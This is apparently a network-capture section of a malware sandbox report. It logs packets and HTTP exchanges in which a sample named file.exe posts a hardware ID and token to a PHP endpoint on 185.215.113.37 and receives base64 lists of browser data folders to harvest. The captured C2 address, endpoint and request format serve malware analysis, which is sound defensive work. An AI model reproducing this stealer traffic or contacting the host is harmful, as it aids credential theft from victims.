Oct 25, 2024 02:18:28.569585085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569593906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569593906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569601059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569606066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569618940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569626093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569636106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569655895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569655895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569660902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569669008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569684029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569730997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569848061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569863081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569876909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569891930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569920063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569940090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569945097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569945097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569945097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569956064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.569960117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569976091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.569981098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570024014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570024014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570024014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570045948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570070028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570084095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570099115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570107937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570116043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570122957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570132971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570148945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570163965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570173025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570173025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570182085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570194960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570198059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570214033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570229053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570244074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570257902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570261955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570261955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570261955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570274115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570290089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570308924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570313931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570313931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570324898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570342064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.570343971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570374012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.570388079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.662281990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.667623043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943612099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943638086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943653107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943696976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943757057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943757057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943757057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943768024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943784952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943800926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943826914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943845034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943860054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943873882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943888903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943897963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943897963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943897963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943903923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943927050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.943931103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943962097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943962097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943962097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.943990946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944005966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944020033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944036961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944051981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944066048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944080114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944087982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944087982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944096088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944112062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944125891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944139957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944152117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944152117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944152117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944168091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944227934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944401979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944470882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944503069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944518089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944533110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944545984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944561005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944576025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944576025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944576979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944596052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944613934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944642067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944642067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944660902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944675922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944691896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944706917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944720984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944734097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944739103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944753885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944768906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944783926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944787979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944787979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944787979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944802046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944819927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944823980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944842100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944855928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944869995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944884062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944897890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944897890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944897890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944900036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944916010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944931984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944932938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944932938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944947958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944962978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944963932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944983959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.944987059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.944987059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945007086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945023060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945029974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945029974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945038080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945054054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945064068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945070982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945085049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945099115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945115089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945116043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945116043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945116043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945130110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945138931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945144892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945153952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945162058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945173025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945178032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945189953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945194960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945213079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945218086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945218086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945240974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945251942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:28.945370913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:28.945473909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:29.481740952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:29.481740952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:29.487262011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:29.487294912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:30.267003059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:30.269484043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:30.550388098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:30.555820942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:30.833674908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:30.833705902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:30.833720922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:30.833739042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:30.833739042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:30.833771944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:30.836618900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:30.842001915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:31.121797085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:31.121869087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:31.142920971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:31.148325920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:31.921955109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:31.922102928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:31.948857069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:31.954231977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:32.236016035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:32.236048937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:32.236107111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:32.236145020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:32.236151934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:32.236175060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:32.236187935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:32.236224890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:32.236228943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:32.236277103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:32.236284971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:32.236330986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:32.237773895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:32.243153095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:33.016566992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:33.016623974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:35.590300083 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	3628	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 02:18:11.361275911 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 02:18:12.269347906 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 02:18:12.272804976 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJE Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 36 35 37 39 34 35 41 46 41 36 38 39 34 36 31 37 39 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="hwid"F3657945AFA6894617998------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="build"doma------DBAEGCGCGIEGDHIDHJJE--
Oct 25, 2024 02:18:12.569983959 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:12 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 45 33 4d 54 4d 77 59 6a 6c 6d 59 6a 51 30 4d 47 49 78 4e 6a 49 33 5a 57 45 7a 59 54 56 6c 4d 44 59 78 4f 44 51 32 59 7a 49 31 59 7a 52 69 4e 6a 6c 68 4e 6a 6c 6d 4d 32 46 6b 4e 44 46 6a 4e 44 64 6d 4d 7a 6b 31 4f 44 55 7a 4d 44 55 32 5a 44 41 30 4f 44 52 6c 59 7a 6b 7a 5a 44 49 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmE3MTMwYjlmYjQ0MGIxNjI3ZWEzYTVlMDYxODQ2YzI1YzRiNjlhNjlmM2FkNDFjNDdmMzk1ODUzMDU2ZDA0ODRlYzkzZDI3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 25, 2024 02:18:12.571258068 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGH Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 2d 2d 0d 0a Data Ascii: ------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="message"browsers------HDGHJEBFBFHIIECAECGH--
Oct 25, 2024 02:18:12.987361908 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:12 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
